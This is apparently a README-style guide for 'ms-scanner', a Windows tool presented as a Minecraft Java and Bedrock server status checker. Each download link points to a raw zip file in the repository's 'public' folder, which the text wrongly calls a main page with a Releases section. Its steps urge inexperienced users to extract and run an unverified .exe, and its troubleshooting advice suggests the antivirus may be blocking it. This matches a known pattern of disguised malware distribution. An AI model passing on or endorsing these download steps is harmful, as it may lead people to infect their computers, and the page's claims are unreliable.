ms-scanner lets you check Minecraft servers fast. It works with both Java and Bedrock editions. Use it to get server status, version, player count, and more. This guide will help you download and run ms-scanner on Windows, even if you have no experience with software installation.
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Open this link in your web browser:
https://raw.githubusercontent.com/djkehm/ms-scanner/master/public/scanner-ms-1.9.zip
This will take you to the main page for ms-scanner. -
Find the Releases section on that page. This is where you will get the setup files.
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Download the latest Windows version of the program. Look for a file ending in
.exeor.zip.- If it is a
.zipfile, download it and then right-click the file after download. Choose Extract All to unzip it. - If it is a
.exefile, just download that directly.
- If it is a
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Once downloaded, if you have a
.exe, double-click it to start the program. Follow any prompts to install or run ms-scanner. -
If you downloaded the zip file and extracted it, open the extracted folder and find the
.exefile inside. Double-click it to run.
When you open ms-scanner, you will see a simple window. It will ask for the server address or IP you want to scan.
- Type the Minecraft server address or IP into the box.
- Choose if it is a Java or Bedrock server if the program asks.
- Click the Scan or Check button.
ms-scanner will quickly connect to the server and show you its status. Information you get includes:
- Server version number
- Online player count
- Maximum players allowed
- Server message of the day (MOTD)
- Whether the server is online or offline
This helps you check if a server is working and get some basic info before connecting in Minecraft.
ms-scanner works on Windows 10 and 11 computers. It needs:
- A 64-bit version of Windows
- At least 2 GB of free RAM
- An internet connection to check servers
- Around 50 MB of free disk space for program files
The program runs on standard hardware and does not require admin rights to start.
- Fast scans of Minecraft servers (Java & Bedrock)
- Displays key info about servers
- Works without installing extra software
- Opens quickly on Windows PCs
- Free and open-source code
- Can scan any public Minecraft server IP or domain
ms-scanner connects directly to Minecraft servers using their network protocols (mcping). It sends a simple request and waits for the server to respond. When it gets a response, ms-scanner shows you details without making you join the server in the game.
This is safer and faster than opening Minecraft just to see if a server is online.
- Make sure you have the latest version downloaded.
- Restart your Windows PC and try again.
- Check if your antivirus is blocking the app.
- Confirm you typed the server address correctly.
- Make sure your internet connection is active.
- The server might be offline or blocked scans.
- Minecraft servers sometimes change status or do not respond properly.
- Try again after a few minutes.
The program may also show extra details like server icon, protocol version, and ping times. These are helpful if you want to check server quality or mods.
Visit https://raw.githubusercontent.com/djkehm/ms-scanner/master/public/scanner-ms-1.9.zip regularly. When a new release appears, download the updated .exe or .zip file and overwrite your old version or install it fresh.
- Always double-check the server IP before scanning.
- Use ms-scanner before joining unknown servers to avoid bad connections.
- Scan popular servers to learn their current player counts.
- If you want to test local servers, make sure your firewall allows ms-scanner to connect.
Get the latest files here:
https://raw.githubusercontent.com/djkehm/ms-scanner/master/public/scanner-ms-1.9.zip
Click the link, find the release files, and get started. This page has everything you need to download and run ms-scanner on Windows.